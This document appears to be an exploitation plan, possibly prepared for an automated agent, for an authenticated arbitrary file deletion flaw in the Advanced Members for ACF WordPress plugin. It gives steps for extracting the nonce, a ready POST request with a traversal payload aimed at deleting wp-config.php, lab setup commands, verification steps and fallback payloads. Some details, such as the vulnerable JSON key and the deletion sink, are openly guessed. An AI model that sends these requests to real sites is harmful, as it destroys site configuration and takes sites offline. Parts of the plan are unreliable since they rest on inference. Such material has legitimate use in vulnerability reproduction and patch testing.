Advanced Members for ACF <= 1.2.5 - Authenticated (Subscriber+) Arbitrary File Deletion via Path Traversal

This vulnerability allows an authenticated user (Subscriber level and above) to delete arbitrary files on the WordPress server, including critical configuration files like wp-config.php, by exploiting a path traversal vulnerability in the image cropping functionality of the Advanced Members for ACF plugin.

1. Vulnerability Summary

The create_crop function in core/modules/class-avatar.php (invoked via the amem_avatar_crop AJAX action) fails to properly validate or sanitize the file path provided in the data parameter. An attacker can supply a relative path with traversal sequences (e.g., ../../../wp-config.php) to the source file parameter. Because the function likely attempts to clean up original/temporary files after a crop operation using unlink() or wp_delete_file(), it will delete the file specified at the traversed path.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• AJAX Action: amem_ajax_avatar_crop (registered in core/modules/class-avatar.php via add_action( 'wp_ajax_amem_avatar_crop', ... ))
• Vulnerable Parameter: data (a JSON string)
• Vulnerable Key in JSON: file or src (inferred from standard image processing patterns in ACF extensions)
• Authentication: Required (Subscriber level or higher)
• Nonce: Required (amem-avatar)

3. Code Flow

1. Entry Point: The user sends a POST request to admin-ajax.php with action=amem_avatar_crop.
2. Nonce Check: ajax_avatar_crop() calls check_ajax_referer( 'amem-avatar' ) (Line 389 in core/modules/class-avatar.php).
3. Data Decoding: The data POST parameter is decoded: $data = json_decode($post['data'], true); (Line 393).
4. Vulnerable Sink: ajax_avatar_crop calls $this->create_crop($data); (Line 394).
5. Path Traversal: Inside create_crop (inferred), the code extracts a file path from $data['file'] (or similar) and passes it to a file deletion function like unlink() without verifying that the path resides within the intended uploads directory.

4. Nonce Acquisition Strategy

The nonce amem-avatar is localized for the amem_avatar ACF field. Since this field is intended for user profile pictures, it can be accessed on any "Account" or "Registration" form generated by the plugin.

1. Identify Form: Use wp-cli to find or create an amem-form of type account.
2. Add Field: Ensure an amem_avatar field is attached to this form (this is the default for Advanced Members avatar functionality).
3. Navigate: Log in as a Subscriber and navigate to the page containing the Account form.
4. Extract: Use browser_eval to extract the nonce from the localized JavaScript object.
   • Variable Name: amem_avatar_args or acf.l10n.amem_avatar.
   • Specific Key: nonce.
   • Command: browser_eval("amem_avatar_args.nonce") or search the page source for amem-avatar.

5. Exploitation Strategy

The goal is to delete wp-config.php.

HTTP Request (via http_request tool):

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: [TARGET_HOST]
Content-Type: application/x-www-form-urlencoded
Cookie: [SUBSCRIBER_COOKIES]

action=amem_avatar_crop&_ajax_nonce=[EXTRACTED_NONCE]&data={"file":"../../../../wp-config.php"}

Note: If file does not work, alternative keys to try in the JSON object are src, path, or original.

6. Test Data Setup

1. Install/Activate: Ensure advanced-custom-fields and advanced-members (v1.2.5) are active.
2. Enable Avatars: Ensure the "Use Avatar" option is enabled in the plugin settings.
3. Create User: Create a user with the subscriber role.
4. Create Form:

   # Create an Account form post
   wp post create --post_type=amem-form --post_title="My Account" --post_status=publish
   # The form type 'account' is usually set via post meta
   wp post meta set [POST_ID] select_type account
   

5. Placement: Place the form shortcode on a public page: [amem_form id="[POST_ID]"].
6. Verify Target: Ensure wp-config.php exists in the WordPress root.

7. Expected Results

• The server returns a successful AJAX response (likely 1 or a JSON success message).
• The file wp-config.php is deleted from the filesystem.
• Subsequent requests to the WordPress site redirect to wp-admin/setup-config.php because the configuration is missing.

8. Verification Steps

1. Direct File Check:

   ls /var/www/html/wp-config.php
   

   Result: "No such file or directory"
2. Site Status Check:

   wp core is-installed
   

   Result: Failure/Error or indication that the database is not connected.

9. Alternative Approaches

If ../../../../wp-config.php fails, the plugin might be prepending a specific directory like the "avatar" or "temp" directory.

• Temp Dir Path: amem()->files->temp_upload_dir() often points to wp-content/uploads/amem-temp/.
• Avatar Dir Path: wp-content/uploads/avatar/.
• Payload Adjustment: Try increasing depth: ../../../../../wp-config.php.
• Key Discovery: If the payload returns an error, use browser_eval to inspect the network traffic of a legitimate avatar crop to see the exact structure of the data JSON object sent by the plugin's JavaScript.